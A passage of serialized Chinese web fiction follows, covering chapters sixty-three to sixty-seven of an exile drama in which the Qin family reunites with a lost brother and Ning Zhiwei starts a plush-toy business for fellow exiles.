他的话还未说完,一声脆响突兀地响起。秦远霄再也按捺不住,一把扭断了东昭的脖子。东昭瞪大双眼,身体缓缓倒下。 夜色愈发深沉,皇城中的秘密却刚刚揭开一角,但更大的风暴正在酝酿。 宁芷薇叹了口气,看了眼手腕上的表。"时间不早了,我们得处理掉尸体。" 秦远霄点点头,沉默不语。两人迅速行动起来,将东昭和风刃的尸体搬运至附近的深潭。潭水幽深,瞬间吞噬了一切痕迹。 "该叫醒三哥了,"秦远霄低声说。 宁芷薇点头,意念一动,秦玉辰出现在眼前。秦远霄轻拍秦玉辰的脸颊,低声唤道:"三哥,醒醒。" 秦玉辰慢慢睁开眼,有些茫然地看着周围。"九弟?"他轻声问道,声音里带着几分困惑。 秦远霄点头,扶他坐起:"是我,三哥。" 秦玉辰环顾四周,目光落在宁芷薇身上,疑惑地问:"这位是?" "三哥,这是我妻子宁氏。"秦远霄介绍道,语气中带着一丝复杂。 秦玉辰微微一怔,眉头紧锁:"九弟,你为何会如此打扮?还有,家中可是出了什么事?" 秦远霄深吸一口气,将这些年的变故娓娓道来。秦玉辰听罢,脸色骤变,双膝一软,跪倒在地。他双手抓着地上的枯枝落叶,指节泛白,肩膀微微颤抖。 宁芷薇下意识想要上前搀扶,却被秦远霄轻轻拦住。他摇了摇头,低声道:"让三哥静一静。" 秦玉辰揉了揉太阳穴,似乎在整理思绪。宁芷薇递上一杯水,轻声道:"慢慢来,别着急。" 秦玉辰接过水,小口啜饮。"我又发生什么事了?"他问道,目光在两人之间来回扫视。 秦远霄和宁芷薇对视一眼,一时无言。空气中弥漫着一丝难以言说的沉重。 "三哥,你还记得什么吗?"秦远霄试探性地问道。 秦玉辰皱眉思索,一脸的迷茫。"我记得...我在营帐里,然后..."他的声音渐渐低下去。 宁芷薇轻声道:"你昏迷了一段时间,我们找到你时,你已经在林子里了。" 秦玉辰的眉头皱得更紧,似乎在努力回想。"我...我好像听到有人说话,但记不清内容了。" 秦远霄深吸一口气,缓缓说道:"三哥,我们发现东昭有不轨之心。" 秦玉辰的眼中潢是震惊:"他做了什么?" 宁芷薇接过话头:"他承认曾派人在龙角峰埋伏,意图谋害远霄。还有...还有秦家无后一事,也与他有关。" 秦玉辰的脸色瞬间变得苍白,身体微微颤抖。"这...这怎么可能?" 秦远霄伸手扶住秦玉辰的肩膀,声音低沉:"三哥,事情比我们想象的要复杂。东昭已经...已经伏法了。" 秦玉辰猛地抬头,尽是复杂的情绪,他张了张嘴,却没有说出话来。 宁芷薇轻声道:"三哥,现在最重要的是保护好秦家,我们需要你的帮助。" 秦玉辰深吸一口气,缓缓点头。"我明白了。接下来我们该怎么做?" 秦远霄的眼中闪过一丝坚定:"我们需要回京,查清楚这件事的来龙去脉。同时,也要保护好秦家的女眷。" 宁芷薇补充道:"我们还需要找个合适的理由解释东昭的失踪。" 秦玉辰沉思片刻,缓缓开口:"可以说他突发重病,已经被秘密送回京城救治。" 秦远霄点头:"这个理由不错。三哥,你能安排这件事吗?" 秦玉辰坚毅道:"交给我吧。" 良久,秦玉辰抬起头来,眼中满是痛苦与决然。他艰难地站起身,拍了拍身上的尘土,沉声道:"九弟,我暂时不能露面。" 秦远霄若有所思:"三哥是想...?" "我要去寻大哥二哥的下落。"秦玉辰坚定地说,目光中闪烁着复杂的情绪。 秦远霄与宁芷薇对视一眼,都觉得这是个合理的决定。 "那我让母亲和三嫂来见你。"秦远霄说道。 秦玉辰点点头,眼中闪过一丝期待,又很快被压下。 夜色更深,秦远霄带着宁芷薇匆匆返回营地。 秦雪松早已等候多时,一见二人便迎上前来,眼中满是焦急:"九弟、九弟妹,三哥他...?" 秦远霄简单解释了情况,拜托八哥照应。秦雪松虽然满腹疑问,但也明白事态紧急,只得点头应下。 宁芷薇轻手轻脚地潜入女眷帐篷,唤醒秦老夫人和三嫂。两位女眷满脸疑惑,却也跟着宁芷薇悄悄离开。 一行人避开官差,朝着丛林深处而去。路上,秦远霄将秦玉辰的事告知二人,秦老夫人闻言,双腿一软,幸亏秦远霄及时扶住,她颤抖着双唇,喃喃自语:"阿弥陀佛...老天保佑..." 三嫂更是激动得手足无措,泪水模糊了双眼。 她紧紧抓住宁芷薇的手臂,语无伦次地问道:"九弟妹,你说...你说我家老爷他...他还记得我吗?" 宁芷薇轻轻拍了拍三嫂的手,柔声安慰:"三嫂别担心,三哥一定记得你。" 终于,一行人看到了那道熟悉的身影。秦玉辰大步迎上前,在看清秦老夫人的瞬间,双膝一软,跪倒在地。 "玉辰不孝,让娘操心了。"他哽咽着说,声音里满是愧疚与思念。 第六十三章 流放之路再生变故 秦老夫人颤抖着伸出手,抚摸儿子的发顶。她的泪水如断了线的珠子,簌簌落下。"玉辰...我的玉辰..."她哭着说,声音里满是难以置信的喜悦。 三嫂站在一旁,泪眼朦胧地看着失而复得的夫君,她的双手紧紧攥着衣角,身体微微颤抖,却不敢上前。 秦玉辰缓缓起身,目光落在妻子身上,他大步上前,将妻子紧紧拥入怀中。 "对不起碧屏,让你受苦了。"他低声说道,声音里满是愧疚与深情。 三嫂再也忍不住,放声大哭起来。 她紧紧抱住丈夫,抽泣着说:"老爷...我以为...我以为再也见不到你了..." 秦远霄和宁芷薇站在一旁,看着这温情脉脉的一幕。宁芷薇不禁红了眼眶,秦远霄则轻轻握住妻子的手,眼中满是复杂的情绪。 秦老夫人知道秦玉辰夫妻久别重逢,定有许多体己话要说。她轻轻拉了拉秦远霄和宁芷薇的衣袖,三人悄然退到一旁。 找了处僻静地方站定,秦老夫人抬手拭去眼角泪痕,声音微颤:"远霄,你是如何找到你三哥的?" 秦远霄缓缓道来寻人经过,每一句话都如同重锤,击打在秦老夫人心上。东昭害死四子,囚禁三子四年之久,大儿二儿下落不明,九子还亲手刺杀了东昭与西域法师...信息量之大,令秦老夫人一时难以消化。 她下意识攥紧了秦远霄的衣袖,眉头紧蹙:"远霄,你三哥选在此处相见,莫非是不打算随我们去塞北?" 秦远霄轻轻点头:"三哥说,他活着的事暂无人知晓,想借此机会隐姓埋名,出去寻访大哥二哥的下落。" 秦老夫人闻言,目光不由自主地投向远处的秦玉辰,眼中满是不舍,却又明白这般做法是对的,一旦抵达塞北,再想出来寻人就难了。 正说着,秦玉辰携妻走来,他略显疲惫的脸上浮现一丝歉意:"娘,九弟已经告诉您了吧?儿子要出去寻找大哥与二哥的下落。" 秦老夫人眼眶再次泛红,声音哽咽:"你一个人在外,定要多加小心。娘老了,经不起再失去儿子的痛楚。" 秦玉辰上前一步,握住母亲的手,他的掌心温暖有力,仿佛要将这份温暖传递给饱经沧桑的母亲:"娘放心,不论结果如何,年前儿子定会回到您身边。" 得了儿子保证,秦老夫人稍稍宽心,只是低声叮嘱:"记住,你的家人都在塞北等你。" 安抚好母亲,秦玉辰又转身与妻子低语几句。正当他准备离开之际,宁芷薇连忙从空间取出一叠银票:"三哥在外,用银子的地方多,这些你且拿着。" 秦玉辰心中一暖,却还是摆手推辞:"九弟妹万万不可,家里人口众多,路上用度更大。三哥的盘缠自会想办法。" 秦老夫人也帮腔道:"宁氏,你三哥一个大男人,在外总不至于饿死,这银子你还是收回去吧。" 三嫂见状,忙不迭地从袖中掏出一个荷包,塞进秦玉辰手里,她眼中闪烁着担忧和不舍:"夫君,你不肯用九弟妹的银子,用我的总可以吧?" 秦玉辰还是将荷包塞回三嫂手中:"盘缠我自会想办法,你们手里的银子都留着应急。" 三嫂无奈,只得将荷包收回。她抿了抿唇,欲言又止,最终只是叮嘱了几句,便不舍地与夫君分开。 秦玉辰深深看了众人一眼,随即施展轻功,转眼间消失在视线中。 三嫂望着夫君离去的方向,眼泪再次夺眶而出。宁芷薇连忙上前安慰,轻轻拍着她的后背。 秦老夫人环顾四周,低声叮嘱三嫂:"今日之事暂且不要告诉旁人,以防节外生枝。" 回到营地,秦老夫人强作镇定,仿佛方才什么都未发生。她招呼秦雨澜起床洗漱,语气平和如常。 秦雪松见几人回来,急切地拉着秦远霄去一旁询问详情。 此时官差们也刚刚起身,距离启程尚有一段时间。 宁芷薇一夜未眠,只觉双眼酸涩,便钻进帐篷想要小憩片刻。然而,就在她刚有些睡意之时,远处突然传来一阵急促的马蹄声。 马蹄声由远及近,很快停在了营地附近。 众人纷纷走出帐篷查看,只见一个身着官服的男子骑在马上,手中还拿着东昭的画像。 那人目光如鹰隼般在众人脸上扫过,高声询问:"你们可曾见过昭王殿下?" 田丰闻声而出,小心翼翼地应道:"大人,我等从未见过昭王殿下。" 马上男子闻言,顿时沉下脸来:"看仔细了,这可是昭王殿下,岂是你一句话就能敷衍了事的?" 田丰被对方气势所慑,冷汗直冒,他战战兢兢地回答:"大人,卑职一个小小八品官差,哪有资格见到昭王殿下啊?" 马上之人闻言,微微颔首。他又在营地内扫视了一圈,这才挥手示意身后众人离开。 待那些人走远,田丰才长舒一口气,擦了擦额头上的汗珠。他心中疑惑,连忙派出一名官差去打探消息。 不多时,那名官差回来禀报:昨夜昭王乘坐的游轩起火,昭王本人生死不明,不光码头封锁,就连城门也一并封锁,在找到昭王之前,任何人不得出入。 这个消息犹如晴天霹雳,田丰顿时傻了眼,他心中暗暗叫苦:若是能早些找到昭王还好,万一找不到,岂不是要永远滞留于此? 无奈之下,田丰只得下令:"吩咐下去,队伍就地驻扎,直到可以通行为止。" 这个消息对于宁芷薇来说倒是无关紧要,毕竟她手中银钱充裕,在何处生活都无甚区别。然而对于段家与梁家人而言,却是一个不小的打击。 赶了这么久的路,他们手中那二十两银子早已所剩无几,若是不能尽快抵达塞北,恐怕未来也要与于家人一般,朝不保夕。 然而此时的宁芷薇并未注意到梁家与段家人的窘境,听闻不必继续赶路,她只觉困意袭来,便一头钻进帐篷,打算好好补个眠。 秦老夫人深知她与秦远霄昨夜奔波劳累,便叮嘱家人切莫打扰。 秦远霄不动声色地靠近田丰,眼中流露出一丝疑惑。"田大哥,可是出了什么事?" 田丰目光闪烁,审视着秦远霄的表情。"你当真不知?" "田大哥此言何意?"秦远霄眉头微蹙,"究竟发生了何事?" 第六十四章 解决生计,从玩偶开始 田丰叹了口气,声音低沉:"昨夜昭王的游轩起火,人也不知所踪。官府已下令封锁城门码头,在找到昭王之前,谁也不得出入。" 秦远霄略显惊讶道 :"原来如此。难怪昨日我等不得离开。" 田丰仔细打量着秦远霄的神色,心中的疑虑渐渐消散。 他拍了拍秦远霄的肩膀,语气沉重:"但愿他们能尽快找到昭王,我等也好继续赶路。" 秦远霄点头应和,随即回到帐篷,与宁芷薇交换了一个眼神,两人默契地进入了空间。 宁芷薇站在操作台前,手指轻轻划过虚空,只见藤蔓上的黄瓜凭空飘起,有序地落入竹筐中,其他作物亦是如此,自动收割、分类、储存。 秦远霄看得目瞪口呆,虽早有耳闻,亲眼所见仍觉不可思议。 他的目光不由自主地落在宁芷薇身上,只见她唇角微扬,浅浅的梨涡仿若盛满了幸福。 他从未见过她如此开怀的笑容,一时竟看得呆了。 待收获完毕,宁芷薇望着眼前琳琅满目的食物,手指轻轻抚过一个个果实,仿佛在抚摸珍宝。 秦远霄见她出神,轻声问道:"在想什么?" 宁芷薇回过神来,指着那些食物,低声道:"我在想,该如何让家人也尝尝这些。" 远霄沉思片刻,狡黠道:"不如明日与田大哥说去林中转转?" 宁芷薇眼前一亮,掩饰不住的兴奋连连点头:"好主意!我会挑些合适的食物带出去。" 两人商议已定,秦远霄便开始清理地上的血渍,他动作细致,反复擦洗,确保无一遗漏。 宁芷薇本想用意念操作,却被眼前的画面打动,她静静地看着秦远霄忙碌的背影,脑海中不禁浮现出一幅温馨的画面:晨起时,她在厨房忙碌,男人则在庭院打扫。 这平凡的一幕,对从小缺少家庭温暖的宁芷薇来说,却是无比向往的生活。 眼看天色已晚,两人不敢久留,匆匆回到帐篷。 刚一出来,便听到四嫂唤他们吃饭。 席间,宁芷薇注意到段承义与梁天河同往田丰处,虽听不清谈话内容,却见田丰连连摇头,脸色越发沉重。 最后田丰提高声音道:"莫要忘了你们的身份。" 他的语气中带着不容置疑的威严。 段承义与梁天河垂头丧气地走回来,二嫂也一脸愁容,宁芷薇见状,不禁问道:"二嫂,可是出了什么事?" 二嫂叹息一声,声音低沉:"梁家和段家手头拮据,想出去寻份工作,却被田官爷拒绝了。" 宁芷薇这才想起两家的困境,段家尚有杨氏的戒指可还,梁家却是真正的捉襟见肘。 她的目光在众人脸上扫过,不由得暗自思忖对策。如何在不伤自尊的情况下帮助梁家,成了她必须面对的难题。 这时,秦远霄的声音传来:"芷薇,你怎么了?" 宁芷薇回过神来,勉强挤出一丝笑容:"没什么,只是在想些事情。" 秦远霄看了她一眼,似乎洞悉了她的心思。 他轻声道:"有什么想法不妨说出来,我们一起商量。" 宁芷薇犹豫片刻,终于开口:"我在想,明日若去集市中找寻些女工活计给大家做,这样既不会引人怀疑,又能帮到大家。" 秦远霄若有所思地点点头:"这倒是个好主意!不过还需要仔细谋划,以免引起不必要的麻烦。" 夜晚,宁芷薇在空间看到竹节熊玩偶,目光灼灼,马上有了主意,她将竹节熊玩偶带出了空间。 次日,宁芷薇拉着秦远霄来到了集市,直奔巧艺坊而去。 正遇上郑小姐在与巧艺坊掌柜起着争端,原来郑小姐是个玩偶收集者,眼见得大半年来巧艺坊没什么能入眼的新品上架,不免对着掌柜发了牢骚:“什么巧艺坊?!你倒是让我见着些新巧的玩艺呀!什么也没有!干脆把牌子摘了去。” 掌柜面对着大客户,只能悻悻地陪着笑,有些无可奈何。 明白了原委,宁芷薇大叹:真是天助我也!马上上前将竹节熊玩偶递给郑小姐。 郑小姐立即被惊艳到了,一把抓住,爱不释手,追问宁芷薇在哪买得的。 宁芷薇顺水推舟说是来给巧艺坊交货的,这么精致的玩偶,整个街市自然只有巧艺坊才能有这样的货色,要不怎么敢叫巧艺坊! 掌柜眼中闪过一丝惊异,随即压抑不住内心的激动,连连点头,马上将宁芷薇让入内室,宁芷薇从郑小姐手上拿过竹节熊玩偶,郑小姐急得直跺脚,宁芷薇转头安慰道:"小姐莫急,我马上给掌柜的进行交验,样品要是过了,你要多少马上给您做!“ 郑小姐闻言眼前一亮,急切地说:"当真?那掌柜快些交验,我要定做十个!不,二十个!" 掌柜谄媚安抚着郑小姐:”小姐请在厅堂少侯,稍安勿躁!小的马上带小娘子进去验货!” 掌柜做了个请的手势,宁芷薇转身看向秦远霄,眼中带着询问之意。秦远霄会意,轻声道:"你去吧,我在外面等你。" 掌柜转身带宁芷薇进了内室。 "这手艺...小娘子可是哪位大师的徒弟?"掌柜试探着问道,声音微微发颤。 宁芷薇唇角微扬,并未正面回答。她侧头看者掌柜轻声道:"掌柜要收这个吗?还是让我带去给隔壁的宝珠阁呢?" 掌柜眼中精光闪烁,忙不迭地拉住:"收!收!当然收,小娘子!" 宁芷薇眉眼间透着狡黠,"好,不过得先说好价钱。" 掌柜心下一喜,连忙道:"小娘子尽管开价,只要合理,老身绝不还价。" 宁芷薇不慌不忙,缓缓道出:"我要五成利润。" 掌柜闻言面色一变,额头渗出细密的汗珠。她下意识地看向郑小姐,见对方一脸期待的模样,心一横,一咬牙道:"好!老身答应了!" 宁芷薇满意地点点头,"掌柜莫急,咱们还是先把契约签了吧。" 契约很快拟好,双方签字画押。 郑小姐在外面急得直嚷嚷,"我的玩偶呢?我要定做二十个,不,五十个!你们什么时候能做好?" 掌柜闻言,眼中满是喜色,连忙走出来应下。宁芷薇微微一笑,"小姐若是喜欢,可以每天来看看,我们会不断推出新款。" 郑小姐连连点头,爱不释手地抱着宁芷薇竹节熊玩偶。 看了看天色,宁芷薇道:"时候不早了,我该回去了。" 掌柜依依不舍,"小娘子可记得按时来交货啊!" 宁芷薇点头,"自然会来,咱们可是有契约在身呢。" 掌柜这才放心,笑着送宁芷薇出门。 第六十五章 生产自救 秦远霄早已等候多时,见她出来,不由得挑了挑眉。 "你这是又在打什么主意?"他的语气中带着几分调侃。 宁芷薇闻言,并未直接回答,而是轻轻拍了拍衣袖上并不存在的灰尘:"走吧,边走边说。"她轻声道,随即迈步向前。 秦远霄见状,也不多言,两人并肩而行,宁芷薇这才缓缓开口:"方才与掌柜的谈了笔生意。" "生意?"秦远霄有些意外,"你什么时候开始做起买卖来了?" 宁芷薇听出他话中的惊讶,嘴角的笑意更深了几分。 "怎么,你觉得我做不来?"她反问道,语气中带着几分俏皮。 秦远霄连忙摆手,"我可没这么说。只是好奇,你突然做这买卖,所为何事?" "昨日见段家与梁家人都因手里没银子愁眉苦脸的,"她轻声说道,声音里带着几分轻叹,"忽然看到这个商机,就想着带他们赚一些盘缠。" "你这心思倒是不错,只是..."他欲言又止,似乎在斟酌着用词。 宁芷薇察觉到他的犹豫,不由得停下脚步,转身看向他。"只是什么?" 秦远霄深吸一口气,"只是你这般做,会不会太过招摇?" 宁芷薇听罢,不由得失笑。 "招摇?"她摇了摇头,"不过是做些小买卖罢了,怎么就招摇了?" 秦远霄见她这般反应,也意识到自己的担心或许有些多余,他轻咳一声,试图掩饰自己的尴尬。"那你打算如何做这买卖?" "我方才与掌柜的谈好了,要她收一些竹节熊玩偶。" "竹节熊玩偶?"秦远霄有些困惑,"那是什么?" 宁芷薇没有直接回答,而是从袖中取出一个小小的布偶。那布偶做工精致,毛绒绒的,一对长耳朵尤为惹眼。 秦远霄接过布偶,仔细打量了一番。 "这...倒是新奇。"他评价道,"只是这东西,真的能卖得出去吗?" 宁芷薇点了点头,"方才已经卖出去一个了,二十两银子。" "二十两?"秦远霄惊呼出声,随即压低了声音,"这...这未免也太贵了些。" 宁芷薇轻笑一声,"贵吗?我倒不这么觉得。" 她伸手接过布偶,轻轻抚摸着它柔软的毛发,"这料子可是独一无二的,摸上去舒服,看上去也讨喜。更何况,买的人觉得值,那就是值这个价。" 秦远霄听她这么一说,也不由得点了点头。 "你说得倒是有理。只是,"他又皱起眉头,"你打算如何让段家和梁家参与进来?" 宁芷薇将布偶收回袖中,继续向前走去。 "嫂嫂们和雨澜最近也闲得慌,不如让她们也帮忙做些。这样既能解闷,又能赚些银子,岂不是两全其美?" 秦远霄听罢,不由得失笑。"你这丫头,倒是打得一手好算盘。" 宁芷薇也跟着笑了起来:"这不是为了大家好吗?再说了,总不能让你一个人养活这么多人吧?" 秦远霄被她这番话说得哑口无言,只得摇头苦笑。 "你啊,"他无奈地说道,"就是太聪明了。" 路上,秦远霄忍不住问道:"你这主意是从何处想到的?" "灵光一现罢了。"她没有多言,心中却在盘算着,有了这笔收入,日子总算能好过些了。 回到驿站,宁芷薇见二嫂正在院子里晾晒衣物,她快步走上前,帮着一起整理。 "九弟妹,你们去哪儿了?"二嫂好奇地问道。 宁芷薇将今日的经历简单讲述了一遍,二嫂听完,羡慕不已:"九弟妹真是有本事,这么快就找到了赚钱的门路。" "二嫂过奖了,只是运气好罢了。"宁芷薇笑了笑,她顿了顿,又道:"二嫂,你若是有兴趣,可以跟我一起给巧艺坊供货。" 二嫂闻言,有些犹豫,"这...不太好吧?" 宁芷薇轻声劝道:"二嫂别多想,咱们现在的处境,能赚钱就是好事。况且,做玩偶也是正经营生,没什么不好的。" 二嫂听了这话,神色渐渐缓和,最终点头答应。 宁芷薇心中暗喜,有了二嫂帮忙,她就能腾出更多时间来思考其他赚钱的法子。 帐篷内,宁芷薇下盘算着怎么将白天谈成的生意做大做强呢,她相信,只要用心去做,定能为段家与梁家带来一线生机。秦远霄见她神色变幻,不由得问道:"你又在想什么?" 宁芷薇回过神来,对他浅浅一笑:"我在想,这世间的事,若是用心去做,总能有所收获。" 秦远霄闻言,不禁点头赞同。"你说得不错,只是这世间的事,岂是单凭用心就能成的?" 宁芷薇听出他话中的深意,不禁陷入沉思。 "你说得对,"她轻声说道,"但若不用心去做,又怎能知道结果如何呢?" 秦远霄被她这番话说得一时语塞,只得摇头苦笑。"你啊,"他无奈地说道,"总是有理。" 宁芷薇的心思却早已飞到了远方,她想着那些可爱的竹节熊玩偶,想着段家与梁家的人们,想着这个小小的营生可能带来的改变。 夜幕低垂,帐篷内烛火摇曳。 宁芷薇轻抚手中的竹节熊玩偶,目光流转,扫视着周围的女眷们,她察觉到众人眼中难掩的好奇与期待,嘴角微微上扬。 "各位嫂嫂,"她柔声开口,"今日在集市上,我偶然发现了一桩有趣的买卖。" 此言一出,帐内顿时骚动起来。 宁芷薇不急不缓,将手中的玩偶递给大嫂。 "大嫂请看,这玩偶做工精致,若是咱们能做出这般模样,便可卖得一两银子一个。" 大嫂接过玩偶,仔细端详,她眉头微蹙,"九弟妹,这玩偶确实精巧。只是,这料子看着不寻常,咱们哪里寻得来?" 宁芷薇微微一笑,伸手拍了拍身旁的麻袋。 "大嫂莫急,材料我已备好。"说着,她打开麻袋,露出里面雪白的毛绒布料。 众女眷见状,惊呼连连:"天啊,这料子当真似兔毛一般柔软。" 第六十六章 初战告捷 "九弟妹,你是从何处寻得这等奇物?"七嫂忍不住问道。 宁芷薇略作沉吟,道:"今日在码头附近,碰见一个洋人在兜售这种布料。我见材质特殊,便想着或可用来做些营生,就买了些回来。" 秦雨澜眼中满是期待,"九嫂,我们真的能做出这样的玩偶吗?" "只要大家用心,定能做得更好。"她顿了顿,又道:"我已与一家巧艺坊谈妥,他们愿以一两银子一个的价格收购。" 此言一出,帐内再次沸腾。 杨氏按捺不住,上前问道:"侄媳妇,我等外人可否也参与其中?" 宁芷薇眉眼弯弯,"自是欢迎的很。这里的材料足可做出二百个玩偶,正需要大家齐心协力。" 众女眷闻言,纷纷表示愿意尝试,见状,宁芷薇轻轻抬手示意大家安静。 "还请诸位听我一言。"帐内顿时鸦雀无声。 "这玩偶虽说不难,但也需用心。材料珍贵,切不可糟践。"宁芷薇正色道,"每个合格的玩偶,我出五百文工钱。" 宁芷薇话音刚落,营地里顿时沸腾起来。五百文一个玩偶,这工钱着实令人心动。秦老夫人眼眸闪亮,暗自盘算着日后的进账。 杨氏蹙眉上前,声音里带着几分忧虑:"侄媳妇,这料子一看就不便宜,你可别为了帮衬我们反倒赔了本。" 宁芷薇心下微动,幸好没说八百文。她温声解释道:"婶子放心,那洋人见我买得多,给的价钱并不高。" 梁母也帮腔道:"是啊,侄媳妇,你可别为大家吃了亏。" 宁芷薇心中一暖,知道两位长辈是真心为她着想。她笑着摆摆手:"两位婶婶不必担心,我不会亏的。"为了不再纠结这个问题,她连忙分发布料。 二嫂忍不住问道:"九弟妹,这等好事从何而来?" 宁芷薇神色如常,语气平和:"二嫂莫要多想。我不过是想着大家都不容易,若能借此机会多赚些银钱,也好让日子过得宽裕些。" 秦远霄在一旁默默注视着妻子,眼中满是赞许,他深知宁芷薇心底的善良,这般举动不过是她本性使然。 宁芷薇独自坐在烛光下,思绪纷杂。她想起了那个虚构的"洋人",心中不禁有些愧疚。可转念一想,这番谎言,不过是为了保守空间的秘密,也是无可奈何之举。 宁芷薇轻叹一声,随即打起精神。眼下最要紧的,是如何教会大家制作这玩偶。 她翻出一本教程书,开始仔细研读。每一个步骤,每一个细节,她都不敢怠慢。 帐外,秦远霄静静守候,不忍打扰妻子的专注。 夜深人静,宁芷薇终于合上书本,她伸了个懒腰,却见帐外仍有人影。 "远霄,"她轻唤一声,"还不休息吗?" 秦远霄闻声而入,温柔地将她揽入怀中。 "娘子辛苦了,"他低声道,"早些安寝吧。" 宁芷薇依偎在丈夫怀里,感受着他的体温。 带着一丝不安她抬头看向秦远霄:"远霄,你说这法子可行吗?我总觉得心里没底。" 秦远霄轻抚她的发丝,柔声道:"娘子无需担忧。你的心意是好的,大家必定会理解。再说,这玩偶做工精致,定能受人喜爱。" 宁芷薇闻言,心中稍安。可转念一想,又忍不住担忧起来。"只是,这样的买卖能持续多久呢?若是巧艺坊不再收购,咱们该如何是好?" 秦远霄见妻子神色忧虑,轻轻拍了拍她的背。"娘子何必想得太远?眼下最要紧的,是教会大家做好这玩偶。至于日后如何,咱们走一步看一步便是。" 翌日清晨,宁芷薇早早起身,她将昨夜研读的制作步骤在脑中过了一遍,便开始准备今日的教学。 不多时,众女眷陆续来到,脸上洋溢着期待的神色。宁芷薇见状,心中暗暗下定决心,定要将这门手艺教好。 她取出一块布料,开始示范。 "首先,我们要按照这个样子裁剪布料。"宁芷薇一边说,一边动作。众人聚精会神地看着,生怕错过任何细节。 时光荏苒,日头渐高,女眷们忙得不可开交。有的在裁剪布料,有的在缝制玩偶,还有的在填充棉花。宁芷薇则在其中穿梭,时而指导,时而鼓励。 这一天,虽然辛苦,但每个人脸上都洋溢着笑容。 秦远霄见宁芷薇忙得不可开交,便过来帮妻子整理那些神奇的食物,几家男人和官差也凑了上来,好奇地打量着那些新奇玩意儿。 田丰拿起一根青菜,翻来覆去地看,疑惑不已:"秦兄弟,这是什么菜?怎么从未见过?" 秦远霄学着妻子的样子,轻描淡写道:"是从一个挑担的农家人那里买的,我们觉得新鲜,就全包了。" 田丰虽不疑有他,却羡慕秦远霄的运气。他暗自嘀咕,为何自己出门就碰不到这等好事? 秦远霄见状,忙将一个番茄塞到田丰手中:"田大哥,尝尝这个,比水果还好吃。" 田丰一口咬下,果然酸甜可口,连连称赞,把周围人馋得直咽口水,秦远霄索性便挨个分发番茄。 众人吃过之后,纷纷赞不绝口,却也不好意思再多要。秦远霄索性拿出些蔬菜,送给段家和梁家人。至于官差,他太了解田丰的性子,有好吃的自会来蹭,也就不必多此一举了。 宁芷薇对女红不感兴趣,便回帐篷休息。直到晚饭时分,外头仍是静悄悄的,她走出一看,这才意识到自己怕是搬起石头砸了自己的脚。 家中女眷,连同秦老夫人在内,都聚在一处专心制作玩偶。看来今晚的饭,只能她亲自操持了,暗自叹了口气,倒也不觉得麻烦,反正这些新鲜食材,嫂嫂们也未必会做,秦远霄主动帮忙烧火。他最爱吃妻子做的饭菜,却又舍不得她太过辛劳,今日有这么多好食材,又能吃到妻子亲手做的美食,想想就令人心情舒畅。 秦雪松虽体未愈,但经宁芷薇调理,如今行动已无大碍,见九弟去帮忙,他也想起了自家那个见到好吃的就会开心的傻媳妇儿,便也起身去看看能帮上什么忙。 女眷们研究了一个多时辰,终于摸清了长耳兔的制作方法,此时她们手中已有了半成品,虽说身子还未完工,头部轮廓却已清晰可见。 秦雪松走近时,正看见妻子专注地缝制兔子尾巴,那认真的模样,看得他心生怜惜。他悄无声息地坐到妻子身旁。 八嫂专注得连夫君到来都未察觉,秦雪松见自己被彻底忽视,故意咳了一声。 八嫂这才回过神来,惊讶地抬头:"你怎么来了?"她眼中闪过一丝慌乱,显然没料到夫君会突然出现。 秦雪松接过妻子手中的半成品,仔细打量了一番,夸赞道:"做得真好看。" 八嫂见自己的劳动成果得到肯定,顿时笑弯了眉眼。"我也觉得很好看。"她骄傲地说道,眼中满是喜悦。 两人的互动引来其他女眷的艳羡目光。 她们不禁在心中感慨,若是自家夫君也能活着回来该多好!哪怕生活清贫,至少还有个人能分享喜怒哀乐,就像八弟和八弟妹这般恩爱甜蜜...... 第六十七章 绝脉之毒 因秦雪松的到来,女眷们这才注意到远处九弟妹已开始准备晚饭,大嫂连忙起身,招呼大家去帮忙。 有了嫂嫂们打下手,宁芷薇做起饭来顿时轻松了许多。 帐篷外,夕阳西下,晚风徐徐。营地里弥漫着饭菜的香气,混合着女眷们欢声笑语,构成了一幅温馨和谐的画面。 秦家的饭菜香气四溢,引来了田丰带领的官差。 "这香味,我可闻着了。"田丰揉了揉肚子,笑呵呵地说道。 秦老夫人无奈地摇头,"既然来了,就一起用餐吧。" 饭后,女眷们围坐在火堆旁,继续赶制玩偶。她们的手艺日益精进,针线穿梭间,一个个可爱的竹节熊玩偶渐渐成型。 "这针脚也太细了,我眼睛都快看花了。"六嫂揉了揉酸涩的眼睛,低声抱怨道。 大嫂轻声安慰:"慢慢来,别着急。" 清晨,宁芷薇刚睁开眼,就被嫂嫂们拉去欣赏她们的杰作。她仔细检查着每一个玩偶,眼中闪过惊讶之色。 "这手艺,竟比我空间里的原版还要精致。"宁芷薇暗自惊叹。 秦家、段家和梁家的女眷们共制作了六十一个竹节熊玩偶。宁芷薇决定亲自将这批玩偶送往巧艺坊,秦远霄陪同她一同前往。 远远望去,巧艺坊门前围满了人。昨日那位郑小姐带着一群姐妹站在门口,神色焦急。 "掌柜的,你这玩偶到底什么时候才有啊?"郑小姐有些不耐烦地问道。 掌柜的擦了擦额头的汗,"这个,这个我也说不准啊。" 宁芷薇和秦远霄带着玩偶走上前去,顿时引起一阵骚动。 "快看,玩偶来了!"郑小姐眼疾手快,带头冲进了巧艺坊。 秦远霄将玩偶放在柜台上,宁芷薇与掌柜的核对数量。 掌柜的对这批玩偶赞不绝口,领着宁芷薇去后堂结算银两。 当她们回到前厅时,顾客们已经将柜台围得水泄不通。 郑小姐抢先开口,"掌柜的,你可别狮子大开口啊!昨日我花二十两,那是一时兴起。" 掌柜的脸色一僵,其他小姐们纷纷附和,最终,在顾客们的压力下,掌柜的不得不降价至三两银子一个。 宁芷薇见事情告一段落,便拉着秦远霄离开了巧艺坊。两人刚走到小路上,就遇见了神色焦急的秦雪松。 "九弟、九弟妹,你们可算回来了。"秦雪松喘着粗气说道,"六嫂突然晕倒了,娘说她身上烫得吓人。" 秦远霄闻言,立刻拉着宁芷薇往营地奔去。到了营地,只见一个帐篷前围满了人,宁芷薇挤进人群,看到大嫂和二嫂正在照料六嫂。 她上前探了探六嫂的额头,果然烫得吓人。宁芷薇仔细为六嫂把脉,眉头渐渐皱起。 "九弟妹,六弟妹她怎么样?"大嫂担忧地问道。 宁芷薇沉吟片刻,"不只是简单的风寒,似乎还有别的原因。" 她感觉到六嫂体内有种奇怪的力量在作祟。 秦老夫人见状,连忙询问,"那该如何是好?" 宁芷薇轻声安抚众人,"先别急,我需要进一步观察。" 她转身走出帐篷,向秦远霄低语几句,秦远霄点头应允,立即骑马去镇上采买药材。 